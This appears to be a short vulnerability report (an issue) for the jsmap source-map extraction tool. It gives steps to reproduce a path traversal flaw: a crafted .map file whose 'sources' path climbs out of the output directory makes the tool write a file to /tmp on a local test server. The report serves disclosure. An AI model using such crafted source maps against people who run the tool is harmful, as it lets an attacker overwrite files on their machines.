jsmap
jsmap copied to clipboard
found a directory travel vulnerability in this tool
there are steps to test this vuln:
- touch test.js and test.js.map in web directory:
test.js:
//# sourceMappingURL=test.js.map
test.js.msp:
{
"version": 3,
"sources": ["../../../../../../tmp/pwned"],
"names": [],
"mappings": "",
"file": "test.js",
"sourcesContent": ["pwned!"],
"sourceRoot": ""
}
- start a python http server: python3 -m http.server 8080
- use jsmap to extract: echo http://127.0.0.1:8080/test.js | ./js.map
- then cat /tmp/pwned